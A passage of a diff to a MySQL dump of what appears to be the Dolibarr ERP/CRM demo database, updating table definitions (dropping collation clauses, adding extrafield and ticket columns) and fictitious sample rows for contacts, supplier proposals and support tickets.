11:52:58',1,1,NULL,'MR','Indra','Mahala','','','',297,117,'2012-07-08','Project leader','','','','','','[]',NULL,0,NULL,0,0,1,12,'Met during a congress at Dubai','',NULL,NULL,NULL,1,NULL),(2,'2012-07-08 22:44:50','2019-11-28 11:52:58',NULL,1,NULL,'MR','Freeman','Public','','','',200,11,NULL,'','','','','','','[]',NULL,0,NULL,0,0,1,1,'A friend that is a free contact not linked to any company',NULL,NULL,NULL,NULL,1,NULL),(3,'2012-07-08 22:59:02','2019-11-28 11:52:58',NULL,1,NULL,'MR','Mywife','Nicy','','','',NULL,11,'1980-10-03','','','','','','','[]',NULL,1,NULL,0,0,1,12,'This is a private contact','',NULL,NULL,NULL,1,NULL),(4,'2012-07-09 00:16:58','2019-11-28 11:52:58',6,1,NULL,'MR','Rotchield','Evan','','','',NULL,6,NULL,'Bank director','','','','','','[]',NULL,0,NULL,0,0,1,1,'The bank director',NULL,NULL,NULL,NULL,1,NULL),(6,'2013-08-01 02:41:26','2019-11-28 11:52:58',17,1,NULL,'','Bookkeeper','Bob','','','',NULL,NULL,NULL,'book keeper','','','','','bbookkeeper@example.com','{\"skype\":\"skypebbookkeeper\"}','',0,NULL,0,0,1,12,'','',NULL,NULL,NULL,1,NULL),(7,'2018-07-30 16:11:06','2019-11-28 11:52:58',NULL,1,'','MR','Dad','','','','',NULL,14,'1967-09-04','','','','','','','[]','',1,NULL,0,0,12,12,'','',NULL,NULL,NULL,1,NULL),(8,'2018-07-30 16:13:03','2019-11-28 11:52:58',NULL,1,'','MLE','Mom','','','','',NULL,14,NULL,'','','','','','','[]','',1,NULL,0,0,12,12,'','',NULL,NULL,NULL,1,NULL),(9,'2018-07-30 16:14:41','2019-11-28 11:52:58',NULL,1,'','MR','Francky','','','89455','Virigia',NULL,205,'1980-07-09','Baker','555-98989898','','','','francky@example.com','[]','',0,NULL,0,0,12,12,'','',NULL,NULL,NULL,1,NULL),(10,'2018-07-30 16:26:22','2019-11-28 11:52:58',10,1,'','','Destailleur','Laurent','','','',NULL,NULL,'1972-10-10','Dolibarr project leader','','','','','ldestailleur@example.com','[]','ldestailleur_200x200.jpg',0,NULL,0,0,NULL,12,'','',NULL,NULL,NULL,1,NULL),(11,'2017-05-12 13:16:36','2019-11-28 11:52:58',11,1,'','MR','Smith','Laurent','45 Big road','897','Seattle',NULL,11,NULL,'Director','','','','','','[]','ldestailleur_200x200.png',0,NULL,0,0,12,12,'','',NULL,NULL,NULL,1,NULL),(12,'2017-05-12 13:19:31','2019-11-28 11:52:58',11,1,'','MR','Einstein','','','','',NULL,11,NULL,'Genius','333444555','','','','genius@example.com','[]','Einstein.jpg',0,NULL,0,0,12,12,'','',NULL,NULL,NULL,1,NULL); /*!40000 ALTER TABLE `llx_socpeople` ENABLE KEYS */; UNLOCK TABLES; @@ -12828,7 +11926,8 @@ CREATE TABLE `llx_socpeople_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `c42contact_infoextranet` int(1) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_socpeople_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -12860,13 +11959,13 @@ CREATE TABLE `llx_stock_mouvement` ( `price` double(24,8) DEFAULT 0.00000000, `type_mouvement` smallint(6) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `fk_origin` int(11) DEFAULT NULL, - `origintype` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `origintype` varchar(64) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `fk_projet` int(11) NOT NULL DEFAULT 0, - `inventorycode` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `batch` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `inventorycode` varchar(128) DEFAULT NULL, + `batch` varchar(30) DEFAULT NULL, `eatby` date DEFAULT NULL, `sellby` date DEFAULT NULL, `fk_project` int(11) DEFAULT NULL, @@ -12897,7 +11996,7 @@ CREATE TABLE `llx_stock_mouvement_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_stock_mouvement_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -12928,7 +12027,7 @@ CREATE TABLE `llx_subscription` ( `datef` datetime DEFAULT NULL, `subscription` double(24,8) DEFAULT NULL, `fk_bank` int(11) DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `fk_type` int(11) DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, @@ -12956,10 +12055,10 @@ DROP TABLE IF EXISTS `llx_supplier_proposal`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_supplier_proposal` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(255) DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), @@ -12981,23 +12080,23 @@ CREATE TABLE `llx_supplier_proposal` ( `localtax2` double(24,8) DEFAULT 0.00000000, `total_ttc` double(24,8) DEFAULT 0.00000000, `fk_account` int(11) DEFAULT NULL, - `fk_currency` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_currency` varchar(3) DEFAULT NULL, `fk_cond_reglement` int(11) DEFAULT NULL, `fk_mode_reglement` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `date_livraison` date DEFAULT NULL, `fk_shipping_method` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -13008,7 +12107,7 @@ CREATE TABLE `llx_supplier_proposal` ( LOCK TABLES `llx_supplier_proposal` WRITE; /*!40000 ALTER TABLE `llx_supplier_proposal` DISABLE KEYS */; -INSERT INTO `llx_supplier_proposal` VALUES (2,'(PROV2)',1,NULL,NULL,10,NULL,'2022-07-04 01:11:35','2022-02-17 04:40:14',NULL,NULL,12,12,NULL,NULL,0,0,NULL,NULL,0,290.00000000,0.00000000,0.00000000,0.00000000,290.00000000,NULL,NULL,2,7,'Private note','Public note','aurore','2017-02-17',1,NULL,NULL,1,'EUR',1.00000000,290.00000000,0.00000000,290.00000000,NULL),(3,'(PROV3)',1,NULL,NULL,1,NULL,'2022-02-07 13:37:54','2022-01-20 12:06:39',NULL,NULL,12,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,'','','aurore',NULL,NULL,NULL,NULL,1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL),(4,'(PROV4)',1,NULL,NULL,17,NULL,'2022-02-07 13:37:54','2022-01-20 12:23:22',NULL,NULL,12,NULL,NULL,NULL,0,0,NULL,NULL,0,195.00000000,0.00000000,0.00000000,0.00000000,195.00000000,NULL,NULL,NULL,NULL,'','','aurore',NULL,NULL,NULL,NULL,1,'EUR',1.00000000,195.00000000,0.00000000,195.00000000,NULL); +INSERT INTO `llx_supplier_proposal` VALUES (2,'(PROV2)',1,NULL,NULL,10,NULL,'2022-07-04 01:11:35','2022-02-17 04:40:14',NULL,NULL,12,12,NULL,NULL,0,0,NULL,NULL,0,290.00000000,0.00000000,0.00000000,0.00000000,290.00000000,NULL,NULL,2,7,'Private note','Public note','aurore','2017-02-17',1,NULL,NULL,1,'EUR',1.00000000,290.00000000,0.00000000,290.00000000,NULL),(3,'(PROV3)',1,NULL,NULL,1,NULL,'2022-02-07 13:37:54','2022-01-20 12:06:39',NULL,NULL,12,NULL,NULL,NULL,0,0,NULL,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,'','','aurore',NULL,NULL,NULL,NULL,1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL),(4,'(PROV4)',1,NULL,NULL,17,NULL,'2023-01-10 16:32:40','2022-01-20 12:23:22',NULL,NULL,12,NULL,NULL,NULL,0,0,NULL,NULL,0,198.00000000,0.17000000,0.00000000,0.00000000,198.17000000,NULL,NULL,NULL,NULL,'','','aurore',NULL,NULL,NULL,NULL,1,'EUR',1.00000000,198.00000000,0.17000000,198.17000000,'supplier_proposal/(PROV4)/(PROV4).pdf'); /*!40000 ALTER TABLE `llx_supplier_proposal` ENABLE KEYS */; UNLOCK TABLES; @@ -13023,7 +12122,7 @@ CREATE TABLE `llx_supplier_proposal_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_supplier_proposal_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -13050,15 +12149,15 @@ CREATE TABLE `llx_supplier_proposaldet` ( `fk_supplier_proposal` int(11) NOT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `fk_remise_except` int(11) DEFAULT NULL, `tva_tx` double(6,3) DEFAULT 0.000, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax1_type` varchar(10) DEFAULT NULL, `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax2_type` varchar(10) DEFAULT NULL, `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `remise` double DEFAULT 0, @@ -13075,9 +12174,9 @@ CREATE TABLE `llx_supplier_proposaldet` ( `fk_product_fournisseur_price` int(11) DEFAULT NULL, `special_code` int(11) DEFAULT 0, `rang` int(11) DEFAULT 0, - `ref_fourn` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_fourn` varchar(30) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -13091,7 +12190,7 @@ CREATE TABLE `llx_supplier_proposaldet` ( KEY `fk_supplier_proposaldet_fk_unit` (`fk_unit`), CONSTRAINT `fk_supplier_proposaldet_fk_supplier_proposal` FOREIGN KEY (`fk_supplier_proposal`) REFERENCES `llx_supplier_proposal` (`rowid`), CONSTRAINT `fk_supplier_proposaldet_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13100,7 +12199,7 @@ CREATE TABLE `llx_supplier_proposaldet` ( LOCK TABLES `llx_supplier_proposaldet` WRITE; /*!40000 ALTER TABLE `llx_supplier_proposaldet` DISABLE KEYS */; -INSERT INTO `llx_supplier_proposaldet` VALUES (2,2,NULL,NULL,NULL,'A powerfull computer with 8Gb memory.',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,200.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,0,0.00000000,NULL,0,1,'',1,'EUR',200.00000000,200.00000000,0.00000000,200.00000000,NULL,NULL,NULL),(7,3,NULL,1,NULL,'A beatifull pink dress 2',NULL,12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,0,0.00000000,NULL,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(9,2,NULL,1,'Pink dress','A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',1,10,0,NULL,100.00000000,90.00000000,0.00000000,0.00000000,0.00000000,90.00000000,0,0,79.16667000,3,0,2,'aaa',1,'EUR',100.00000000,90.00000000,0.00000000,90.00000000,NULL,NULL,NULL),(10,4,NULL,1,NULL,'A beatifull pink dress. 2',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,95.00000000,95.00000000,0.00000000,0.00000000,0.00000000,95.00000000,0,0,0.00000000,NULL,0,1,'BK01',1,'EUR',95.00000000,95.00000000,0.00000000,95.00000000,NULL,NULL,NULL),(11,4,NULL,1,'Pink dress','A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,0,79.16667000,7,0,2,'bbb',1,'EUR',100.00000000,100.00000000,0.00000000,100.00000000,NULL,NULL,NULL); +INSERT INTO `llx_supplier_proposaldet` VALUES (2,2,NULL,NULL,NULL,'A powerfull computer with 8Gb memory.',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,200.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,0,0.00000000,NULL,0,1,'',1,'EUR',200.00000000,200.00000000,0.00000000,200.00000000,NULL,NULL,NULL),(7,3,NULL,1,NULL,'A beatifull pink dress 2',NULL,12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,0,0.00000000,NULL,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(9,2,NULL,1,'Pink dress','A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',1,10,0,NULL,100.00000000,90.00000000,0.00000000,0.00000000,0.00000000,90.00000000,0,0,79.16667000,3,0,2,'aaa',1,'EUR',100.00000000,90.00000000,0.00000000,90.00000000,NULL,NULL,NULL),(10,4,NULL,1,NULL,'A beatifull pink dress. 2',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,95.00000000,95.00000000,0.00000000,0.00000000,0.00000000,95.00000000,0,0,0.00000000,NULL,0,1,'BK01',1,'EUR',95.00000000,95.00000000,0.00000000,95.00000000,NULL,NULL,NULL),(11,4,NULL,1,'Pink dress','A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,0,79.16667000,7,0,2,'bbb',1,'EUR',100.00000000,100.00000000,0.00000000,100.00000000,NULL,NULL,NULL),(17,4,NULL,NULL,NULL,'a',NULL,5.500,'bbb',0.000,'0',0.000,'0',1,0,0,NULL,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,0,0.00000000,NULL,0,3,'',1,'EUR',1.00000000,1.00000000,0.06000000,1.06000000,NULL,NULL,NULL),(18,4,NULL,NULL,NULL,'a',NULL,5.500,'bbb',0.000,'0',0.000,'0',1,0,0,NULL,2.00000000,2.00000000,0.11000000,0.00000000,0.00000000,2.11000000,0,0,0.00000000,NULL,0,4,NULL,1,'EUR',2.00000000,2.00000000,0.11000000,2.11000000,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_supplier_proposaldet` ENABLE KEYS */; UNLOCK TABLES; @@ -13115,7 +12214,7 @@ CREATE TABLE `llx_supplier_proposaldet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_supplier_proposaldet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -13140,7 +12239,7 @@ DROP TABLE IF EXISTS `llx_takepos_floor_tables`; CREATE TABLE `llx_takepos_floor_tables` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `leftpos` float DEFAULT NULL, `toppos` float DEFAULT NULL, `floor` int(3) DEFAULT NULL, @@ -13171,30 +12270,32 @@ DROP TABLE IF EXISTS `llx_ticket`; CREATE TABLE `llx_ticket` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `track_id` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(128) NOT NULL, + `track_id` varchar(128) NOT NULL, `fk_soc` int(11) DEFAULT 0, `fk_project` int(11) DEFAULT 0, - `origin_email` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `origin_email` varchar(128) DEFAULT NULL, `fk_user_create` int(11) DEFAULT NULL, `fk_user_assign` int(11) DEFAULT NULL, - `subject` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `message` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `subject` varchar(255) DEFAULT NULL, + `message` mediumtext DEFAULT NULL, `fk_statut` int(11) DEFAULT NULL, `resolution` int(11) DEFAULT NULL, `progress` int(11) DEFAULT NULL, - `timing` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `category_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `severity_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `timing` varchar(20) DEFAULT NULL, + `type_code` varchar(32) DEFAULT NULL, + `category_code` varchar(32) DEFAULT NULL, + `severity_code` varchar(32) DEFAULT NULL, `datec` datetime DEFAULT NULL, `date_read` datetime DEFAULT NULL, `date_last_msg_sent` datetime DEFAULT NULL, `date_close` datetime DEFAULT NULL, `notify_tiers_at_create` tinyint(4) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email_msgid` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `email_msgid` varchar(255) DEFAULT NULL, + `email_date` datetime DEFAULT NULL, + `ip` varchar(250) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_ticket_track_id` (`track_id`), UNIQUE KEY `uk_ticket_ref` (`ref`,`entity`), @@ -13212,7 +12313,7 @@ CREATE TABLE `llx_ticket` ( LOCK TABLES `llx_ticket` WRITE; /*!40000 ALTER TABLE `llx_ticket` DISABLE KEYS */; -INSERT INTO `llx_ticket` VALUES (2,1,'TS1909-0001','15ff11cay39skiaa',NULL,6,NULL,12,12,'Increase memory on server','Pleae increase the memory of server to 164GB',3,NULL,0,NULL,'REQUEST','OTHER','NORMAL','2021-09-26 14:08:46',NULL,NULL,NULL,0,'2022-02-07 13:37:54',NULL,NULL),(3,1,'TS1909-0002','r5ya6gdi9f39dcjt',1,NULL,NULL,12,14,'Problem with customer','Please recontact customer.
\r\nNeed someone speaking chinese...',0,NULL,100,NULL,'ISSUE','OTHER','NORMAL','2021-09-26 14:10:31',NULL,NULL,'2021-10-04 13:05:55',0,'2022-02-07 13:37:54',NULL,NULL),(4,1,'TS1910-0003','fdv9wrzcte7b3c8b',NULL,NULL,NULL,12,NULL,'test','test',2,NULL,0,NULL,'COM','OTHER','NORMAL','2021-10-04 12:58:04',NULL,NULL,NULL,0,'2022-02-07 13:37:54',NULL,NULL),(6,1,'TS1911-0004','5gvo9bsjri55zef9',NULL,4,NULL,12,16,'What is the price for Dolibarr ERP CRM ?','I need to use it for 10 users.',3,NULL,0,NULL,'COM','OTHER','NORMAL','2021-11-29 12:46:29','2021-11-29 12:46:34',NULL,NULL,0,'2022-02-07 13:37:54',NULL,NULL),(7,1,'TS1911-0005','d51wjy4nym7wltg7',NULL,NULL,'customer@customercompany.com',NULL,16,'What is the price for Dolibarr ERP CRM ?','I need it for 10 people...',8,NULL,100,NULL,'COM','OTHER','NORMAL','2021-11-29 12:50:45','2021-11-29 12:52:32',NULL,'2021-11-29 12:55:48',1,'2022-02-07 13:37:54',NULL,NULL); +INSERT INTO `llx_ticket` VALUES (2,1,'TS1909-0001','15ff11cay39skiaa',NULL,6,NULL,12,12,'Increase memory on server','Pleae increase the memory of server to 164GB',3,NULL,0,NULL,'REQUEST','OTHER','NORMAL','2022-09-26 14:08:46',NULL,NULL,NULL,0,'2022-12-11 21:23:22',NULL,NULL,NULL,NULL),(3,1,'TS1909-0002','r5ya6gdi9f39dcjt',1,NULL,NULL,12,14,'Problem with customer','Please recontact customer.
\r\nNeed someone speaking chinese...',0,NULL,100,NULL,'ISSUE','OTHER','NORMAL','2022-09-26 14:10:31',NULL,NULL,'2022-10-04 13:05:55',0,'2022-12-11 21:23:22',NULL,NULL,NULL,NULL),(4,1,'TS1910-0003','fdv9wrzcte7b3c8b',NULL,NULL,NULL,12,NULL,'test','test',2,NULL,0,NULL,'COM','OTHER','NORMAL','2022-10-04 12:58:04',NULL,NULL,NULL,0,'2022-12-11 21:23:22',NULL,NULL,NULL,NULL),(6,1,'TS1911-0004','5gvo9bsjri55zef9',NULL,4,NULL,12,3,'What is the price for Dolibarr ERP CRM ?','I need to use it for 10 users.',2,NULL,0,NULL,'COM','OTHER','NORMAL','2022-11-29 12:46:29','2022-11-29 12:46:34',NULL,NULL,0,'2023-01-04 16:58:57',NULL,NULL,NULL,NULL),(7,1,'TS1911-0005','d51wjy4nym7wltg7',NULL,NULL,'customer@customercompany.com',NULL,16,'What is the price for Dolibarr ERP CRM ?','I need it for 10 people...',8,NULL,100,NULL,'COM','OTHER','NORMAL','2022-11-29 12:50:45','2022-11-29 12:52:32',NULL,'2023-03-13 06:17:35',1,'2023-03-13 09:17:35',NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_ticket` ENABLE KEYS */; UNLOCK TABLES; @@ -13227,8 +12328,9 @@ CREATE TABLE `llx_ticket_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `aaa` int(10) DEFAULT NULL, + `c42ticket_device_linked` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_ticket_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -13257,15 +12359,15 @@ CREATE TABLE `llx_tva` ( `datep` date DEFAULT NULL, `datev` date DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_typepayment` int(11) DEFAULT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `paye` smallint(6) NOT NULL DEFAULT 0, `fk_account` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) @@ -13294,79 +12396,77 @@ CREATE TABLE `llx_user` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `login` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, + `login` varchar(50) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_employee` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `civility` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_ext` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_employee` varchar(50) DEFAULT NULL, + `civility` varchar(6) DEFAULT NULL, + `ref_ext` varchar(50) DEFAULT NULL, `employee` smallint(6) DEFAULT 1, `fk_establishment` int(11) DEFAULT 0, - `pass` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass_crypted` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass_temp` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `api_key` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lastname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `firstname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `job` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `office_phone` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `office_fax` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `user_mobile` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `personal_mobile` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `personal_email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `socialnetworks` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `signature` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `pass` varchar(128) DEFAULT NULL, + `pass_crypted` varchar(128) DEFAULT NULL, + `pass_temp` varchar(128) DEFAULT NULL, + `api_key` varchar(128) DEFAULT NULL, + `lastname` varchar(50) DEFAULT NULL, + `firstname` varchar(50) DEFAULT NULL, + `job` varchar(128) DEFAULT NULL, + `office_phone` varchar(20) DEFAULT NULL, + `office_fax` varchar(20) DEFAULT NULL, + `user_mobile` varchar(20) DEFAULT NULL, + `personal_mobile` varchar(20) DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `personal_email` varchar(255) DEFAULT NULL, + `socialnetworks` text DEFAULT NULL, + `signature` text DEFAULT NULL, `admin` smallint(6) DEFAULT 0, `fk_soc` int(11) DEFAULT NULL, `fk_socpeople` int(11) DEFAULT NULL, `fk_member` int(11) DEFAULT NULL, - `note` text COLLATE 